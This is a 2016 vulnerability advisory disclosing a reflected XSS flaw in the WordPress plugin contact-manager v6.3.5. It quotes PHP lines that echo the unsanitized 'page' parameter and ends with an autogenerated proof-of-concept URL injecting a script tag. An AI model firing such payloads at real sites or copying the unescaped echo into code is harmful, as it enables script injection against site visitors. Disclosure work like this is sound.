Advisory #: 642
Title: Reflected XSS in wordpress plugin contact-manager v6.3.5
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/contact-manager
Downloads: 29107
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: contact-manager
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./contact-manager/form-page.php: 30:<form method="post" name="<?php echo $_GET['page']; ?>" action="<?php echo esc_attr($_SERVER['REQUEST_URI']); ?>"> 79:<form method="post" name="<?php echo $_GET['page']; ?>" action="<?php echo esc_attr($_SERVER['REQUEST_URI']); ?>" onsubmit="return validate_form(this);"> The variable page appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./contact-manager/form-page.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/contact-manager/form-page.php?page="><script>alert(1);</script><"